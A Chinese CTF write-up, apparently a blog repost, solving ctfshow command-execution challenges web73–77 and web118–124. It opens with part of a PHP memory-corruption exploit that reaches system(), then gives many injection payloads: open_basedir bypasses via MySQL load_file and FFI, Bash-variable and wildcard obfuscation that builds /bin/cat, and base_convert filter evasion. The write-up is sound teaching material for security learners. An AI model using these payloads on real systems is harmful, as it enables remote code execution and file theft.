# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
Ctfshow 命令執(zhí)行 web73
源碼一樣,這題比web72還少了一個(gè)open_basedir
配置項(xiàng)制約。
讀根目錄,flag在flagc.txt
文件中
c=var_export(scandir('/'));exit();
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191925376.png)]
但是這里把include
讀取flag。
c=include('/flagc.txt');var_export(get_defined_vars());die();
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191929591.png)]
Ctfshow 命令執(zhí)行 web74
源碼一樣。
禁用了scandir()
函數(shù)。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191933891.png)]
讀取根目錄:(flag在flagx.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();
其余同web73。
c=include('/flagx.txt');var_export(get_defined_vars());die();
Ctfshow 命令執(zhí)行 web75
看起來和之前一樣。
這題又加上了open_basedir
限制。
讀取根目錄:(flag在flag36.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
嘗試web72的腳本讀取flag失敗了。
官方hint的解法是:
利用mysql
的load_file
讀文件,繞過open_basedir
限制。(只限制了PHP的訪問目錄,不關(guān)MYSQL的事情)
數(shù)據(jù)庫名、賬號(hào)密碼可以通過之前的題目(過濾少的)拿到。所以這個(gè)方法條件是必須要有數(shù)據(jù)庫名、賬號(hào)密碼
PHP 數(shù)據(jù)對(duì)象 (PDO) 擴(kuò)展為PHP訪問數(shù)據(jù)庫定義了一個(gè)輕量級(jí)的一致接口。
PDO 提供了一個(gè)數(shù)據(jù)訪問抽象層,這意味著,不管使用哪種數(shù)據(jù)庫,都可以用相同的函數(shù)(方法)來查詢和獲取數(shù)據(jù)。
PDO隨PHP5.1發(fā)行,應(yīng)用條件是PHP>5.1
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
Ctfshow 命令執(zhí)行 web76
同web75,flag文件名是flag36d.txt
。
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
Ctfshow 命令執(zhí)行 web77
題目描述:命令執(zhí)行最后一題,php7.4,基本上命令執(zhí)行就告一段落了(php7.4應(yīng)該想到FFI)
看上去和之前一樣,只是看上去。
讀取根目錄:(flag在/readflag
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
但是PDO那個(gè)方法不能用了
這題利用FFI擴(kuò)展用C語言(?)執(zhí)行命令,繞過open_basedir
限制。(只限制了PHP的訪問目錄,不關(guān)C語言的事情)
FFI:php7.4以上才有,是PHP的一個(gè)擴(kuò)展。提供了一種在純PHP中編寫PHP擴(kuò)展和對(duì)C庫的綁定的方法。
參考文章:
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
payload:(記得去掉注釋)
$ffi = FFI::cdef("int system(const char *command);");//創(chuàng)建一個(gè)system對(duì)象
$a='/readflag > 1.txt'; //沒有回顯,需要重定向到文件
$ffi->system($a); //通過$ffi去調(diào)用system函數(shù)
Ctfshow 命令執(zhí)行 web118
題目描述:flag in flag.php
開題。
源碼中有提示:system($code);
過濾的有點(diǎn)猛,fuzz一下能用的字符就這些,大寫字母加上一些符號(hào)。
能用的不多,但是構(gòu)造Bash內(nèi)置變量
夠用。
我們的payload一般是cat/nl等命令
+flag.php
。flag.php
我們可以用通配符代替????.???
。cat/nl等命令
我們可以用Bash內(nèi)置變量
。
環(huán)境變量PATH
一般是/bin
,題目路徑PWD
是/var/www/html
。
正常情況下我們可以利用切片
來獲得所需要的字母:
echo ${PWD}
echo ${PWD:0:1}
echo ${PWD:0:3}
echo ${PWD:1:1}
echo ${PWD:2:3}
echo ${PWD:~0:1} //從末尾開始取一個(gè)
但是題目過濾了數(shù)字,無法使用切片。換一種方式獲取字符。
linux可以利用~
獲得變量的最后幾位(從最后開始獲?。?,使用取反號(hào)時(shí),任何字母等同于數(shù)字0。
echo ${PWD}
echo ${PWD:~0}
echo ${PWD:~1}
echo ${PWD:~2}
echo ${PWD:~j}
echo ${PWD:~J}
所以,${PATH:~A}${PWD:~A}
表示的就是PATH
的最后一個(gè)字母和PWD
的最后一個(gè)字母,組合起來就是nl。
payload:
${PATH:~A}${PWD:~A} ????.???
相當(dāng)于:nl flag.php
其他可行的payload:(第二個(gè)是官方給的,自己實(shí)踐未出)
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
${PATH:~A}${PWD:~A:${##}} ????.???
參考文章:
https://www.cnblogs.com/sparkdev/p/9934595.html#title_0
https://blog.51cto.com/allenh/1695810
Ctfshow 命令執(zhí)行 web119
這題比上題多過濾了PATH
。
擴(kuò)展一下Bash內(nèi)置變量
構(gòu)造字符:
${RANDOM} :隨機(jī)的幾個(gè)數(shù)
${PWD} :/var/www/html
${USER} :www-data
${HOME} :當(dāng)前用戶的主目錄
SHLVL
是記錄多個(gè) Bash 進(jìn)程實(shí)例嵌套深度的累加器,進(jìn)程第一次打開shell時(shí)${SHLVL}=1,然后在此shell中再打開一個(gè)shell時(shí)$SHLVL=2。
RANDOM
此變量值,隨機(jī)出現(xiàn)整數(shù),范圍為0-32767。在Linux中,${#xxx}顯示的是這個(gè)值的位數(shù)不加#是變量的值,加了#是變量的值的長(zhǎng)度。例如${#12345}的值是5,而random函數(shù)絕大部分產(chǎn)生的數(shù)字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。
IFS
空格符、tab字符、換行字符(newline) 長(zhǎng)度為3。{#IFS}=3
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
Ctfshow 命令執(zhí)行 web120
這次直接給了源碼,過濾同web119,但是長(zhǎng)度限制在64及以內(nèi)。
web119第一個(gè)payload直接打。
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
Ctfshow 命令執(zhí)行 web121
直接給了源碼,不過這次過濾的有點(diǎn)多。
就web119三個(gè)payload來看。HOME
、USER
、SHLVL
。被過濾了,前兩個(gè)影響不大,不用也沒事。過濾${#SHLVL}
可以用${##}
、${#?}
。
payload:
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
Ctfshow 命令執(zhí)行 web122
hint:fuzz
直接給了源碼,這次過濾了PWD
、#
,之前所有payload都用不了。
我們選擇使用base64來獲取flag。(/bin/base64 flag.php,目標(biāo)是構(gòu)造構(gòu)造/???/?????4 ????.???
)
過濾了PWD
,我們還能用HOME
。無論HOME
是什么(比如/xxx/xxx),HOME
的第一位肯定是/
。
然后我們只需要解決一個(gè)如何構(gòu)造數(shù)字的問題。我們需要數(shù)字1
和4
。
我們可以利用$?
,獲取上一條命令執(zhí)行結(jié)束后的返回值,0
代表成功,非0
代表失敗。非0返回值如下:
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
"OS error code 11: Resource temporarily unavailable"
"OS error code 12: Cannot allocate memory"
"OS error code 13: Permission denied"
"OS error code 14: Bad address"
"OS error code 15: Block device required"
"OS error code 16: Device or resource busy"
"OS error code 17: File exists"
"OS error code 18: Invalid cross-device link"
"OS error code 19: No such device"
"OS error code 20: Not a directory"
"OS error code 21: Is a directory"
"OS error code 22: Invalid argument"
"OS error code 23: Too many open files in system"
"OS error code 24: Too many open files"
"OS error code 25: Inappropriate ioctl for device"
"OS error code 26: Text file busy"
"OS error code 27: File too large"
"OS error code 28: No space left on device"
"OS error code 29: Illegal seek"
"OS error code 30: Read-only file system"
"OS error code 31: Too many links"
"OS error code 32: Broken pipe"
"OS error code 33: Numerical argument out of domain"
"OS error code 34: Numerical result out of range"
"OS error code 35: Resource deadlock avoided"
"OS error code 36: File name too long"
"OS error code 37: No locks available"
"OS error code 38: Function not implemented"
"OS error code 39: Directory not empty"
"OS error code 40: Too many levels of symbolic links"
"OS error code 42: No message of desired type"
"OS error code 43: Identifier removed"
"OS error code 44: Channel number out of range"
"OS error code 45: Level 2 not synchronized"
"OS error code 46: Level 3 halted"
"OS error code 47: Level 3 reset"
"OS error code 48: Link number out of range"
"OS error code 49: Protocol driver not attached"
"OS error code 50: No CSI structure available"
"OS error code 51: Level 2 halted"
"OS error code 52: Invalid exchange"
"OS error code 53: Invalid request descriptor"
"OS error code 54: Exchange full"
"OS error code 55: No anode"
"OS error code 56: Invalid request code"
"OS error code 57: Invalid slot"
"OS error code 59: Bad font file format"
"OS error code 60: Device not a stream"
"OS error code 61: No data available"
"OS error code 62: Timer expired"
"OS error code 63: Out of streams resources"
"OS error code 64: Machine is not on the network"
"OS error code 65: Package not installed"
"OS error code 66: Object is remote"
"OS error code 67: Link has been severed"
"OS error code 68: Advertise error"
"OS error code 69: Srmount error"
"OS error code 70: Communication error on send"
"OS error code 71: Protocol error"
"OS error code 72: Multihop attempted"
"OS error code 73: RFS specific error"
"OS error code 74: Bad message"
"OS error code 75: Value too large for defined data type"
"OS error code 76: Name not unique on network"
"OS error code 77: File descriptor in bad state"
"OS error code 78: Remote address changed"
"OS error code 79: Can not access a needed shared library"
"OS error code 80: Accessing a corrupted shared library"
"OS error code 81: .lib section in a.out corrupted"
"OS error code 82: Attempting to link in too many shared libraries"
"OS error code 83: Cannot exec a shared library directly"
"OS error code 84: Invalid or incomplete multibyte or wide character"
"OS error code 85: Interrupted system call should be restarted"
"OS error code 86: Streams pipe error"
"OS error code 87: Too many users"
"OS error code 88: Socket operation on non-socket"
"OS error code 89: Destination address required"
"OS error code 90: Message too long"
"OS error code 91: Protocol wrong type for socket"
"OS error code 92: Protocol not available"
"OS error code 93: Protocol not supported"
"OS error code 94: Socket type not supported"
"OS error code 95: Operation not supported"
"OS error code 96: Protocol family not supported"
"OS error code 97: Address family not supported by protocol"
"OS error code 98: Address already in use"
"OS error code 99: Cannot assign requested address"
"OS error code 100: Network is down"
"OS error code 101: Network is unreachable"
"OS error code 102: Network dropped connection on reset"
"OS error code 103: Software caused connection abort"
"OS error code 104: Connection reset by peer"
"OS error code 105: No buffer space available"
"OS error code 106: Transport endpoint is already connected"
"OS error code 107: Transport endpoint is not connected"
"OS error code 108: Cannot send after transport endpoint shutdown"
"OS error code 109: Too many references: cannot splice"
"OS error code 110: Connection timed out"
"OS error code 111: Connection refused"
"OS error code 112: Host is down"
"OS error code 113: No route to host"
"OS error code 114: Operation already in progress"
"OS error code 115: Operation now in progress"
"OS error code 116: Stale NFS file handle"
"OS error code 117: Structure needs cleaning"
"OS error code 118: Not a XENIX named type file"
"OS error code 119: No XENIX semaphores available"
"OS error code 120: Is a named type file"
"OS error code 121: Remote I/O error"
"OS error code 122: Disk quota exceeded"
"OS error code 123: No medium found"
"OS error code 124: Wrong medium type"
"OS error code 125: Operation canceled"
"OS error code 126: Required key not available"
"OS error code 127: Key has expired"
"OS error code 128: Key has been revoked"
"OS error code 129: Key was rejected by service"
"OS error code 130: Owner died"
"OS error code 131: State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full; Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"
執(zhí)行<A
等命令會(huì)因找不到目錄或者文件執(zhí)行失敗,返回值是1,$?
獲取上一條命令執(zhí)行結(jié)束后的返回值就是1。我們就成功構(gòu)造出了數(shù)字1。
總結(jié)一下:先<A;
在然后的$?
就是1
數(shù)字4還是用RANDOM隨機(jī)數(shù)來獲取,不過是換種方式,1/10的概率,多發(fā)幾次包。
payload:(${Z}代表0)
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???
Ctfshow 命令執(zhí)行 web124
直接給了源碼。是前幾年國賽的一道題。但是這題flag就在當(dāng)前目錄。
詳細(xì)wp請(qǐng)看:
payload合集:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在請(qǐng)求頭里面加一個(gè) 1:tac flag.php 見下圖
命令執(zhí)行篇完結(jié)收工?。?023.8.20)文章來源:http://www.zghlxwxcb.cn/news/detail-653044.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-653044.html
到了這里,關(guān)于Ctfshow web入門 命令執(zhí)行RCE篇 web29-web77 與 web118-web124 詳細(xì)題解 持續(xù)更新中(預(yù)計(jì)8.18完成)~的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!